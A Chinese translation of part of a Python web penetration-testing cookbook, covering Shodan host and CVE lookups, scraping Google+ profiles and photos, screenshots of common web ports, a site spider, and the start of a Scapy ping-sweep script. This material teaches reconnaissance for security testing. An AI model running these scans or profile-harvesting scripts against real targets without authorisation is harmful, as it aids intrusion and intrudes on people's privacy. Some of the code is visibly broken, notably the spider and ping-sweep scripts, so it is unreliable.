Python-Web-渗透测试秘籍(全)

Python Web 渗透测试秘籍(全)

原文:annas-archive.org/md5/9ECC87991CE5C1AD546C7BAEC6960102

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

欢迎阅读我们的 Python 和 Web 应用测试书。渗透测试是一个庞大的领域,而 Python 的领域更加广阔。我们希望我们的小书可以帮助您更好地管理这些庞大的领域。如果您是 Python 大师,您可以寻找一些想法,将您的技艺应用于渗透测试,或者如果您是一个有一些渗透测试技能的新手 Python 程序员,那么您很幸运,这本书也适合您。

本书涵盖了什么

第一章, 收集开源情报,涵盖了一系列从免费来源收集信息的配方。

第二章, 枚举,指导您创建脚本以从网站检索目标信息并验证潜在凭据。

第三章, 漏洞识别,涵盖了基于识别网站潜在漏洞的配方,如跨站脚本,SQL 注入和过时的插件。

第四章, SQL 注入,涵盖了如何创建针对每个人最喜欢的 Web 应用程序漏洞的脚本。

第五章, Web 标头操作,涵盖了专门关注在 Web 应用程序上收集,控制和更改标头的脚本。

第六章, 图像分析和操作,涵盖了旨在识别,逆向和复制图像中的隐写术的配方。

第七章, 加密和编码,涵盖了涉足加密这一庞大领域的脚本。

第八章, 载荷和 Shell,涵盖了一小部分概念验证 C2 通道,基本的后渗透脚本和服务器枚举工具。

第九章, 报告,涵盖了旨在使漏洞报告更加简单和少痛苦的脚本。

本书需要什么

您需要一台笔记本电脑,Python 2.7,大多数配方需要互联网连接和良好的幽默感。

这本书是为谁准备的

本书适用于寻求快速访问强大的现代工具和可定制脚本,以启动创建自己的 Python Web 渗透测试工具箱的测试人员。

章节

在本书中,您将经常看到几个标题(准备就绪,如何做,它是如何工作的,还有更多,另请参阅)。

为了清晰地说明如何完成配方,我们使用以下各节:

准备就绪

本节告诉您配方中可以期望什么,并描述了为配方设置任何软件或所需的任何初步设置的方法。

如何做…

本节包含了遵循配方所需的步骤。

它是如何工作的…

本节通常包括对前一节发生的事情的详细解释。

还有更多…

本节包括有关配方的附加信息,以使读者对配方更加了解。

另请参阅

本节提供了有关配方的其他有用信息的链接。

约定

在本书中,您将找到一些区分不同类型信息的文本样式。以下是这些样式的一些示例及其含义的解释。

文本中的代码词,数据库表名,文件夹名,文件名,文件扩展名,路径名,虚拟 URL,用户输入和 Twitter 句柄显示如下:"首先,它向 API 服务器发送 HTTP GET请求,然后读取响应并将输出存储到api_response变量中。"

代码块设置如下:

import urllib2
import json

GOOGLE_API_KEY = "{Insert your Google API key}"
target = "packtpub.com"
api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()

json_response = json.loads(api_response)
for result in json_response['items']:
      name = result['displayName']
      print name
      image = result['image']['url'].split('?')[0]
  f = open(name+'.jpg','wb+')
  f.write(urllib2.urlopen(image).read())
  f.close()

当我们希望引起您对代码块的特定部分的注意时,相关行或项目将以高亮显示:

a = str((A * int(str(i)+'00') + C) % 2**M)
    if a[-2:] == "47":

任何命令行输入或输出都以以下方式编写:

$ pip install plotly
Query failed: ERROR: syntax error at or near

新术语重要单词以粗体显示。屏幕上显示的单词,例如菜单或对话框中的单词,会以这种方式出现在文本中:“点击API & auth | Credentials。点击Create new keyServer key。”

注意

警告或重要说明会出现在这样的框中。

提示

提示和技巧会以这种方式出现。

第一章:收集开源情报

在本章中,我们将涵盖以下主题:

  • 使用 Shodan API 收集信息

  • 编写 Google+ API 搜索脚本

  • 使用 Google+ API 下载个人资料图片

  • 使用 Google+ API 分页收集额外结果

  • 使用 QtWebKit 获取网站的屏幕截图

  • 基于端口列表的屏幕截图

  • 爬取网站

介绍

开源情报OSINT)是从开放(公开)来源收集信息的过程。当涉及测试 Web 应用程序时,这可能看起来很奇怪。然而,在甚至触及网站之前,可以了解到关于特定网站的大量信息。您可能能够找出网站是用什么服务器端语言编写的,底层框架,甚至其凭据。学会使用 API 并编写这些任务可以使收集阶段的大部分工作变得更容易。

在本章中,我们将看一下我们可以使用 Python 利用 API 的几种方式来获得有关目标的洞察力。

使用 Shodan API 收集信息

Shodan 本质上是一个漏洞搜索引擎。通过提供名称、IP 地址甚至端口,它返回与其数据库中匹配的所有系统。这使得它成为基础设施情报的最有效来源之一。它就像互联网连接设备的谷歌。Shodan 不断扫描互联网并将结果保存到公共数据库中。虽然可以从 Shodan 网站(www.shodan.io)搜索此数据库,但结果和报告的服务是有限的,除非通过应用程序编程接口API)访问。

本节的任务是通过使用 Shodan API 获取有关 Packt Publishing 网站的信息。

准备工作

在撰写本文时,Shodan 会员费为 49 美元,这是需要获取 API 密钥的。如果您对安全性很认真,访问 Shodan 是非常宝贵的。

如果您还没有 Shodan 的 API 密钥,请访问www.shodan.io/store/member并注册。Shodan 有一个非常好的 Python 库,也在shodan.readthedocs.org/en/latest/上有很好的文档。

要设置 Python 环境以与 Shodan 一起工作,您只需要使用cheeseshop安装库:

$ easy_install shodan

如何做…

以下是我们将用于此任务的脚本:

import shodan
import requests

SHODAN_API_KEY = "{Insert your Shodan API key}" 
api = shodan.Shodan(SHODAN_API_KEY)

target = 'www.packtpub.com'

dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY

try:
    # First we need to resolve our targets domain to an IP
    resolved = requests.get(dnsResolve)
    hostIP = resolved.json()[target]

    # Then we need to do a Shodan search on that IP
    host = api.host(hostIP)
    print "IP: %s" % host['ip_str']
    print "Organization: %s" % host.get('org', 'n/a')
    print "Operating System: %s" % host.get('os', 'n/a')

    # Print all banners
    for item in host['data']:
        print "Port: %s" % item['port']
        print "Banner: %s" % item['data']

    # Print vuln information
    for item in host['vulns']:
        CVE = item.replace('!','')
        print 'Vulns: %s' % item
        exploits = api.exploits.search(CVE)
        for item in exploits['matches']:
            if item.get('cve')[0] == CVE:
                print item.get('description')
except:
    'An error occured'

上述脚本应该产生类似以下的输出:

IP: 83.166.169.231
Organization: Node4 Limited
Operating System: None

Port: 443
Banner: HTTP/1.0 200 OK

Server: nginx/1.4.5

Date: Thu, 05 Feb 2015 15:29:35 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Sun, 19 Nov 1978 05:00:00 GMT

Cache-Control: public, s-maxage=172800

Age: 1765

Via: 1.1 varnish

X-Country-Code: US

Port: 80
Banner: HTTP/1.0 301 https://www.packtpub.com/

Location: https://www.packtpub.com/

Accept-Ranges: bytes

Date: Fri, 09 Jan 2015 12:08:05 GMT

Age: 0

Via: 1.1 varnish

Connection: close

X-Country-Code: US

Server: packt

Vulns: !CVE-2014-0160
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.

我只选择了 Shodan 返回的一些可用数据项,但您可以看到我们得到了相当多的信息。在这种特定情况下,我们可以看到存在潜在的漏洞。我们还看到这台服务器正在端口80443上监听,并且根据横幅信息,它似乎正在运行nginx作为 HTTP 服务器。

工作原理…

  1. 首先,在代码中设置我们的静态字符串;这包括我们的 API 密钥:
SHODAN_API_KEY = "{Insert your Shodan API key}" 
target = 'www.packtpub.com'

dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY
  1. 下一步是创建我们的 API 对象:
api = shodan.Shodan(SHODAN_API_KEY)
  1. 为了使用 API 搜索主机的信息,我们需要知道主机的 IP 地址。Shodan 有一个 DNS 解析器,但它没有包含在 Python 库中。要使用 Shodan 的 DNS 解析器,我们只需向 Shodan DNS 解析器 URL 发出 GET 请求,并传递我们感兴趣的域(或域):
resolved = requests.get(dnsResolve)
hostIP = resolved.json()[target] 
  1. 返回的 JSON 数据将是一个域到 IP 地址的字典;在我们的情况下,我们只有一个目标,我们可以简单地使用target字符串作为字典的键来提取我们主机的 IP 地址。如果您正在搜索多个域,您可能希望遍历此列表以获取所有 IP 地址。

  2. 现在,我们有了主机的 IP 地址,我们可以使用 Shodan 库的host函数来获取有关我们的主机的信息。返回的 JSON 数据包含大量关于主机的信息,尽管在我们的情况下,我们只会提取 IP 地址、组织,如果可能的话,正在运行的操作系统。然后,我们将循环遍历找到的所有打开端口及其各自的横幅:

    host = api.host(hostIP)
    print "IP: %s" % host['ip_str']
    print "Organization: %s" % host.get('org', 'n/a')
    print "Operating System: %s" % host.get('os', 'n/a')

    # Print all banners
    for item in host['data']:
        print "Port: %s" % item['port']
        print "Banner: %s" % item['data']
  1. 返回的数据还可能包含 Shodan 认为服务器可能容易受到的通用漏洞和暴露CVE)编号。这对我们可能非常有益,因此我们将遍历这些列表(如果有的话),并使用 Shodan 库的另一个函数获取有关利用的信息:
for item in host['vulns']:
        CVE = item.replace('!','')
        print 'Vulns: %s' % item
        exploits = api.exploits.search(CVE)
        for item in exploits['matches']:
            if item.get('cve')[0] == CVE:
                print item.get('description')

这就是我们的脚本。尝试针对您自己的服务器运行它。

还有更多...

我们只是真正开始了 Shodan Python 库的使用。值得阅读 Shodan API 参考文档,并尝试使用其他搜索选项。您可以根据“facets”筛选结果以缩小搜索范围。您甚至可以使用其他用户使用“tags”搜索保存的搜索。

提示

下载示例代码

您可以从www.packtpub.com的帐户中下载示例代码文件,以获取您购买的所有 Packt Publishing 图书。如果您在其他地方购买了本书,您可以访问www.packtpub.com/support并注册,以便直接通过电子邮件接收文件。

编写 Google+ API 搜索脚本

社交媒体是收集有关目标公司或个人信息的好方法。在这里,我们将向您展示如何编写一个 Google+ API 搜索脚本,以在 Google+社交网站中查找公司的联系信息。

准备工作

一些 Google API 需要授权才能访问,但是如果您有 Google 帐户,获取 API 密钥很容易。只需转到console.developers.google.com,创建一个新项目。单击API 和身份验证 | 凭据。单击创建新密钥,然后服务器密钥。可选择输入您的 IP,或者只需单击创建。您的 API 密钥将显示并准备好复制并粘贴到以下示例中。

如何做...

这是一个简单的查询 Google+ API 的脚本:

import urllib2

GOOGLE_API_KEY = "{Insert your Google API key}" 
target = "packtpub.com"
api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()
api_response = api_response.split("\n")
for line in api_response:
    if "displayName" in line:
        print line

工作原理...

前面的代码向 Google+搜索 API 发出请求(使用您的 API 密钥进行身份验证),并搜索与目标packtpub.com匹配的帐户。与前面的 Shodan 脚本类似,我们设置了静态字符串,包括 API 密钥和目标:

GOOGLE_API_KEY = "{Insert your Google API key}" 
target = "packtpub.com"

下一步有两个作用:首先,它向 API 服务器发送 HTTPGET请求,然后读取响应并将输出存储到一个api_response变量中:

api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()

此请求返回 JSON 格式的响应;这里显示了结果的一个示例片段:

工作原理...

在我们的脚本中,我们将响应转换为列表,以便更容易解析:

api_response = api_response.split("\n")

代码的最后一部分循环遍历列表,并仅打印包含displayName的行,如下所示:

工作原理...

另请参阅...

在下一个示例中,使用 Google+ API 下载个人资料图片,我们将看到如何改进这些结果的格式。

还有更多...

通过从一个简单的脚本开始查询 Google+ API,我们可以扩展它以提高效率,并利用返回的更多数据。Google+平台的另一个关键方面是用户可能还在 Google 的其他服务上拥有匹配的帐户,这意味着您可以交叉引用帐户。大多数 Google 产品都提供给开发人员的 API,因此一个很好的起点是developers.google.com/products/。获取 API 密钥并将上一个脚本的输出插入其中。

使用 Google+ API 下载个人资料图片

现在我们已经确定了如何使用 Google+ API,我们可以设计一个脚本来下载图片。这里的目标是从网页中获取姓名的照片。我们将通过 URL 向 API 发送请求,通过 JSON 处理响应,并在脚本的工作目录中创建图片文件。

如何做到

以下是一个使用 Google+ API 下载个人资料图片的简单脚本:

import urllib2
import json

GOOGLE_API_KEY = "{Insert your Google API key}"
target = "packtpub.com"
api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read()

json_response = json.loads(api_response)
for result in json_response['items']:
      name = result['displayName']
      print name
      image = result['image']['url'].split('?')[0]
  f = open(name+'.jpg','wb+')
  f.write(urllib2.urlopen(image).read())
  f.close()

它是如何工作的

第一个更改是将显示名称存储到变量中,因为稍后会重复使用它:

      name = result['displayName']
      print name

接下来,我们从 JSON 响应中获取图像 URL:

image = result['image']['url'].split('?')[0]

代码的最后部分在三行简单的代码中做了很多事情:首先,它在本地磁盘上打开一个文件,文件名设置为name变量。这里的wb+标志指示操作系统,如果文件不存在,则应创建文件,并以原始二进制格式写入数据。第二行向图像 URL(存储在image变量中)发出 HTTP GET请求,并将响应写入文件。最后,关闭文件以释放用于存储文件内容的系统内存:

  f = open(name+'.jpg','wb+')
  f.write(urllib2.urlopen(image).read())
  f.close()

脚本运行后,控制台输出将与以前相同,显示名称也会显示。但是,您的本地目录现在还将包含所有个人资料图片,保存为 JPEG 文件。

使用分页从 Google+ API 中获取额外的结果

默认情况下,Google+ API 返回最多 25 个结果,但我们可以通过增加最大值并通过分页收集更多结果来扩展先前的脚本。与以前一样,我们将通过 URL 和urllib库与 Google+ API 进行通信。我们将创建任意数字,随着请求的进行而增加,这样我们就可以跨页面移动并收集更多结果。

如何做到

以下脚本显示了如何从 Google+ API 中获取额外的结果:

import urllib2
import json

GOOGLE_API_KEY = "{Insert your Google API key}"
target = "packtpub.com"
token = ""
loops = 0

while loops < 10:
  api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50& pageToken="+token).read()

  json_response = json.loads(api_response)
  token = json_response['nextPageToken']

  if len(json_response['items']) == 0:
    break

  for result in json_response['items']:
        name = result['displayName']
        print name
        image = result['image']['url'].split('?')[0]
    f = open(name+'.jpg','wb+')
    f.write(urllib2.urlopen(image).read())
  loops+=1

它是如何工作的

这个脚本中的第一个重大变化是主要代码已经移入了一个while循环中:

token = ""
loops = 0

while loops < 10:

在这里,循环的次数设置为最多 10 次,以避免向 API 服务器发送过多请求。当然,这个值可以更改为任何正整数。下一个变化是请求 URL 本身;它现在包含了两个额外的尾部参数maxResultspageToken。来自 Google+ API 的每个响应都包含一个pageToken值,它是指向下一组结果的指针。请注意,如果没有更多结果,仍然会返回一个pageToken值。maxResults参数是不言自明的,但最多只能增加到 50:

  api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50& pageToken="+token).read()

下一部分在 JSON 响应中读取与以前相同,但这次它还提取了nextPageToken的值:

  json_response = json.loads(api_response)
  token = json_response['nextPageToken']

while循环如果loops变量增加到 10,就会停止,但有时您可能只会得到一页结果。代码中的下一部分检查返回了多少结果;如果没有结果,它会过早地退出循环:

  if len(json_response['items']) == 0:
    break

最后,我们确保每次增加loops整数的值。一个常见的编码错误是忽略这一点,这意味着循环将永远继续:

  loops+=1

使用 QtWebKit 获取网站的屏幕截图

他们说一张图片价值千言。有时,在情报收集阶段获取网站的屏幕截图是很有用的。我们可能想要扫描一个 IP 范围,并了解哪些 IP 正在提供网页,更重要的是它们的样子。这可以帮助我们挑选出有趣的网站进行关注,我们也可能想要快速扫描特定 IP 地址上的端口,出于同样的原因。我们将看看如何使用QtWebKit Python 库来实现这一点。

准备工作

QtWebKit 安装起来有点麻烦。最简单的方法是从www.riverbankcomputing.com/software/pyqt/download获取二进制文件。对于 Windows 用户,请确保选择适合你的python/arch路径的二进制文件。例如,我将使用PyQt4-4.11.3-gpl-Py2.7-Qt4.8.6-x32.exe二进制文件在我的安装了 Python 2.7 的 Windows 32 位虚拟机上安装 Qt4。如果你打算从源文件编译 Qt4,请确保你已经安装了SIP

如何做…

一旦你安装了 PyQt4,你基本上就可以开始了。下面的脚本是我们将用作截图类的基础:

import sys
import time
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from PyQt4.QtWebKit import *

class Screenshot(QWebView):
    def __init__(self):
        self.app = QApplication(sys.argv)
        QWebView.__init__(self)
        self._loaded = False
        self.loadFinished.connect(self._loadFinished)

    def wait_load(self, delay=0):
        while not self._loaded:
            self.app.processEvents()
            time.sleep(delay)
        self._loaded = False

    def _loadFinished(self, result):
        self._loaded = True

    def get_image(self, url):
        self.load(QUrl(url))
        self.wait_load()

        frame = self.page().mainFrame()
        self.page().setViewportSize(frame.contentsSize())

        image = QImage(self.page().viewportSize(), QImage.Format_ARGB32)
        painter = QPainter(image)
        frame.render(painter)
        painter.end()
        return image

创建前面的脚本并将其保存在 Python 的Lib文件夹中。然后我们可以在我们的脚本中将其作为导入引用。

工作原理…

该脚本利用QWebView加载 URL,然后使用 QPainter 创建图像。get_image函数接受一个参数:我们的目标。有了这个,我们可以简单地将其导入到另一个脚本中并扩展功能。

让我们分解脚本,看看它是如何工作的。

首先,我们设置我们的导入:

import sys
import time
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from PyQt4.QtWebKit import *

然后,我们创建我们的类定义;我们正在创建的类通过继承从QWebView继承:

class Screenshot(QWebView):

接下来,我们创建我们的初始化方法:

def __init__(self):
        self.app = QApplication(sys.argv)
        QWebView.__init__(self)
        self._loaded = False
        self.loadFinished.connect(self._loadFinished)

def wait_load(self, delay=0):
        while not self._loaded:
            self.app.processEvents()
            time.sleep(delay)
        self._loaded = False

def _loadFinished(self, result):
        self._loaded = True

初始化方法设置了self.__loaded属性。这与__loadFinishedwait_load函数一起用于检查应用程序运行时的状态。它会等到站点加载完成后再截图。实际的截图代码包含在get_image函数中:

def get_image(self, url):
        self.load(QUrl(url))
        self.wait_load()

        frame = self.page().mainFrame()
        self.page().setViewportSize(frame.contentsSize())

        image = QImage(self.page().viewportSize(), QImage.Format_ARGB32)
        painter = QPainter(image)
        frame.render(painter)
        painter.end()
        return image

在这个get_image函数中,我们将视口的大小设置为主框架中内容的大小。然后设置图像格式,将图像分配给绘图对象,然后使用绘图器渲染框架。最后,我们返回处理过的图像。

还有更多…

要使用我们刚刚创建的类,我们只需将其导入到另一个脚本中。例如,如果我们只想保存我们收到的图像,我们可以做如下操作:

import screenshot
s = screenshot.Screenshot()
image = s.get_image('http://www.packtpub.com')
image.save('website.png')

就是这样。在下一个脚本中,我们将创建一些更有用的东西。

基于端口列表的截图

在上一个脚本中,我们创建了一个基本函数来返回 URL 的图像。现在我们将扩展该功能,循环遍历与基于 Web 的管理门户常见相关的端口列表。这将允许我们将脚本指向一个 IP,并自动运行可能与 Web 服务器相关的可能端口。这是用于在我们不知道服务器上开放了哪些端口的情况下使用,而不是在我们指定端口和域时使用。

准备工作

为了使这个脚本工作,我们需要在使用 QtWeb Kit 获取网站截图配方中创建脚本。这应该保存在Pythonxx/Lib文件夹中,并命名为清晰和易记的名称。在这里,我们将该脚本命名为screenshot.py。你的脚本的命名特别重要,因为我们会用一个重要的声明引用它。

如何做…

这是我们将要使用的脚本:

import screenshot
import requests

portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489]

IP = '127.0.0.1'

http = 'http://'
https = 'https://'

def testAndSave(protocol, portNumber):
    url = protocol + IP + ':' + str(portNumber)
    try:
        r = requests.get(url,timeout=1)

        if r.status_code == 200:
            print 'Found site on ' + url 
            s = screenshot.Screenshot()
            image = s.get_image(url)
            image.save(str(portNumber) + '.png')
    except:
        pass

for port in portList:
    testAndSave(http, port)
    testAndSave(https, port)

工作原理…

我们首先创建我们的导入声明。在这个脚本中,我们使用了之前创建的screenshot脚本,还有requests库。requests库用于我们在尝试将其转换为图像之前检查请求的状态。我们不想浪费时间尝试转换不存在的站点。

接下来,我们导入我们的库:

import screenshot
import requests

下一步是设置我们将要迭代的常见端口号数组。我们还设置了一个包含我们将要使用的 IP 地址的字符串:

portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489]

IP = '127.0.0.1'

接下来,我们创建字符串来保存我们稍后将构建的 URL 的协议部分;这只是为了稍后的代码更加整洁:

http = 'http://'
https = 'https://'

接下来,我们创建我们的方法,它将负责构建 URL 字符串的工作。创建 URL 后,我们检查我们的get请求是否返回200响应代码。如果请求成功,我们将返回的网页转换为图像,并以成功的端口号作为文件名保存。代码包裹在try块中,因为如果我们发出请求时网站不存在,它将抛出一个错误:

def testAndSave(protocol, portNumber):
    url = protocol + IP + ':' + str(portNumber)
    try:
        r = requests.get(url,timeout=1)

        if r.status_code == 200:
            print 'Found site on ' + url 
            s = screenshot.Screenshot()
            image = s.get_image(url)
            image.save(str(portNumber) + '.png')
    except:
        pass

现在我们的方法已经准备好了,我们只需遍历端口列表中的每个端口,并调用我们的方法。我们先对 HTTP 协议进行一次,然后对 HTTPS 进行一次:

for port in portList:
    testAndSave(http, port)
    testAndSave(https, port)

就是这样。只需运行脚本,它就会将图像保存在与脚本相同的位置。

还有更多...

你可能会注意到脚本运行起来需要一些时间。这是因为它必须依次检查每个端口。实际上,你可能希望将这个脚本改成多线程脚本,这样它就可以同时检查多个 URL。让我们快速看一下如何修改代码来实现这一点。

首先,我们需要几个额外的导入声明:

import Queue
import threading

接下来,我们需要创建一个名为threader的新函数。这个新函数将处理将我们的testAndSave函数放入队列中:

def threader(q, port):
    q.put(testAndSave(http, port))
    q.put(testAndSave(https, port))

现在我们有了新的函数,我们只需要设置一个新的Queue对象,并进行一些线程调用。我们将从我们对portList变量的FOR循环中取出testAndSave调用,并用这段代码替换它:

q = Queue.Queue()

for port in portList:
    t = threading.Thread(target=threader, args=(q, port))
    t.deamon = True
    t.start()

s = q.get()

因此,我们的新脚本现在总共看起来是这样的:

import Queue
import threading
import screenshot
import requests

portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489]

IP = '127.0.0.1'

http = 'http://'
https = 'https://'

def testAndSave(protocol, portNumber):
    url = protocol + IP + ':' + str(portNumber)
    try:
        r = requests.get(url,timeout=1)

        if r.status_code == 200:
            print 'Found site on ' + url 
            s = screenshot.Screenshot()
            image = s.get_image(url)
            image.save(str(portNumber) + '.png')
    except:
        pass

def threader(q, port):
    q.put(testAndSave(http, port))
    q.put(testAndSave(https, port))

q = Queue.Queue()

for port in portList:
    t = threading.Thread(target=threader, args=(q, port))
    t.deamon = True
    t.start()

s = q.get()

如果我们现在运行这个脚本,我们将更快地执行我们的代码,因为 Web 请求现在是并行执行的。

你可以尝试进一步扩展脚本,使其适用于一系列 IP 地址;当你测试内部网络范围时,这可能会很方便。

爬取网站

许多工具提供了绘制网站地图的功能,但通常你只能限制输出样式或提供结果的位置。这个爬虫脚本的基础版本允许你快速绘制网站地图,并且可以根据需要进行修改。

准备工作

为了使这个脚本工作,你需要BeautifulSoup库,可以通过apt命令安装,使用apt-get install python-bs4,或者使用pip install beautifulsoup4。就是这么简单。

如何做...

这是我们将要使用的脚本:

import urllib2 
from bs4 import BeautifulSoup
import sys
urls = []
urls2 = []

tarurl = sys.argv[1] 

url = urllib2.urlopen(tarurl).read()
soup = BeautifulSoup(url)
for line in soup.find_all('a'):
    newline = line.get('href')
    try: 
        if newline[:4] == "http": 
            if tarurl in newline: 
            urls.append(str(newline)) 
        elif newline[:1] == "/": 
            combline = tarurl+newline urls.append(str(combline)) except: 
               pass

    for uurl in urls: 
        url = urllib2.urlopen(uurl).read() 
        soup = BeautifulSoup(url) 
        for line in soup.find_all('a'): 
            newline = line.get('href') 
            try: 
                if newline[:4] == "http": 
                    if tarurl in newline:
                        urls2.append(str(newline)) 
                elif newline[:1] == "/": 
                    combline = tarurl+newline 
                    urls2.append(str(combline)) 
                    except: 
                pass 
            urls3 = set(urls2) 
    for value in urls3: 
    print value

它是如何工作的...

首先导入必要的库,并创建两个名为urlsurls2的空列表。这将允许我们对爬虫过程进行两次运行。接下来,我们设置输入,作为脚本的附录添加到命令行中运行。它将运行如下:

$ python spider.py http://www.packtpub.com

然后,我们打开提供的url变量,并将其传递给beautifulsoup工具:

url = urllib2.urlopen(tarurl).read() 
soup = BeautifulSoup(url) 

beautifulsoup工具将内容分成部分,并允许我们只提取我们想要的部分:

for line in soup.find_all('a'): 
newline = line.get('href') 

然后,我们提取在 HTML 中标记为标签的所有内容,并抓取标记指定为href的元素。这允许我们抓取页面中列出的所有 URL。

接下来的部分处理相对链接和绝对链接。如果一个链接是相对的,它以斜杠开头,表示它是一个托管在 Web 服务器本地的页面。如果一个链接是绝对的,它包含完整的地址,包括域名。我们在下面的代码中所做的是确保我们作为外部用户可以打开我们找到的所有链接并将它们列为绝对链接:

if newline[:4] == "http": 
if tarurl in newline: 
urls.append(str(newline)) 
  elif newline[:1] == "/": 
combline = tarurl+newline urls.append(str(combline))

然后,我们再次使用从该页面识别出的urls列表重复这个过程,通过遍历原始url列表中的每个元素:

for uurl in urls:

除了引用列表和变量的更改,代码保持不变。

我们合并这两个列表,最后,为了方便输出,我们将urls列表的完整列表转换为一个集合。这将从列表中删除重复项,并允许我们整齐地输出它。我们遍历集合中的值,并逐个输出它们。

还有更多...

这个工具可以与本书中早期和后期展示的任何功能相结合。它可以与使用 QtWeb Kit 获取网站截图结合,允许您对每个页面进行截图。您可以将其与第二章中的电子邮件地址查找器枚举结合,从每个页面获取电子邮件地址,或者您可以找到另一种用途来映射网页的简单技术。

该脚本可以很容易地更改,以添加深度级别,从当前的 2 个链接深度到系统参数设置的任何值。输出可以更改以添加每个页面上存在的 URL,或将其转换为 CSV,以便您可以将漏洞映射到页面进行简单的注释。

第二章:枚举

在本章中,我们将涵盖以下主题:

  • 使用 Scapy 执行 ping 扫描

  • 使用 Scapy 进行扫描

  • 检查用户名的有效性

  • 暴力破解用户名

  • 枚举文件

  • 暴力破解密码

  • 从姓名生成电子邮件地址

  • 从网页中查找电子邮件地址

  • 在源代码中查找注释

介绍

当你确定了要测试的目标后,你会想要进行一些枚举。这将帮助你确定一些进一步侦察或攻击的潜在路径。这是一个重要的步骤。毕竟,如果你想从保险柜里偷东西,你首先会看一下,确定你是否需要密码、钥匙或组合,而不是简单地绑上一根炸丨药棒,可能摧毁内容。

在本章中,我们将看一些你可以使用 Python 执行主动枚举的方法。

使用 Scapy 执行 ping 扫描

当你确定了目标网络后,要执行的第一个任务之一是检查哪些主机是活动的。实现这一目标的一个简单方法是 ping 一个 IP 地址,并确认是否收到回复。然而,对于超过几个主机来说,这样做很快就会变成一项繁重的任务。这个教程旨在向你展示如何使用 Scapy 实现这一目标。

Scapy 是一个强大的工具,可以用来操纵网络数据包。虽然我们不会深入探讨 Scapy 可以完成的所有功能,但在这个教程中,我们将使用它来确定哪些主机会回复Internet 控制消息协议ICMP)数据包。虽然你可能可以创建一个简单的 bash 脚本,并将其与一些 grep 过滤器结合起来,但这个教程旨在向你展示在涉及迭代 IP 范围的任务中会有用的技术,以及基本 Scapy 用法的示例。

Scapy 可以通过以下命令安装在大多数 Linux 系统上:

$ sudo apt-get install python-scapy

如何做…

以下脚本显示了如何使用 Scapy 创建 ICMP 数据包并在收到响应时处理它:

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

import sys 
from scapy.all import *

if len(sys.argv) !=3:
    print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
    sys.exit(0)

livehosts=[]
#IP address validation
ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")

if (ipregex.match(sys.argv[1]) is None):
  print "Starting IP address is invalid"
  sys.exit(0)
if (ipregex.match(sys.argv[1]) is None):
  print "End IP address is invalid"
  sys.exit(0)

iplist1 = sys.argv[1].split(".")
iplist2 = sys.argv[2].split(".")

if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2])
  print "IP addresses are not in the same class C subnet"
  sys.exit(0)	

if iplist1[3]>iplist2[3]:
  print "Starting IP address is greater than ending IP address"
  sys.exit(0)

networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"."

start_ip_last_octet = int(iplist1[3])
end_ip_last_octet = int(iplist2[3])

if iplist1[3]<iplist2[3]:
  print "Pinging range "+networkaddr+str(start_ip_last_octet)+"- "+str(end_ip_last_octet)
else
  print "Pinging "+networkaddr+str(startiplastoctect)+"\n"

for x in range(start_ip_last_octet, end_ip_last_octet+1)
  packet=IP(dst=networkaddr+str(x))/ICMP()
  response = sr1(packet,timeout=2,verbose=0)
  if not (response is None):
    if  response[ICMP].type==0:
      livehosts.append(networkaddr+str(x))

print "Scan complete!\n"
if len(livehosts)>0:
  print "Hosts found:\n"
  for host in livehosts:
    print host+"\n"
else:
  print "No live hosts found\n"

它是如何工作的…

脚本的第一部分将设置在运行 Scapy 时抑制警告消息。在没有配置 IPv6 的机器上导入 Scapy 时,一个常见的情况是收到关于无法通过 IPv6 路由的警告消息。

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

下一部分导入必要的模块,验证接收到的参数数量,并设置一个用于存储发现的活动主机的列表:

import sys 
from scapy.all import *

if len(sys.argv) !=3:
    print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
    sys.exit(0)

livehosts=[]

然后我们编译一个正则表达式,用于检查 IP 地址的有效性。这不仅检查字符串的格式,还检查它是否存在于 IPv4 地址空间中。然后使用编译后的正则表达式与提供的参数进行匹配:

#IP address validation
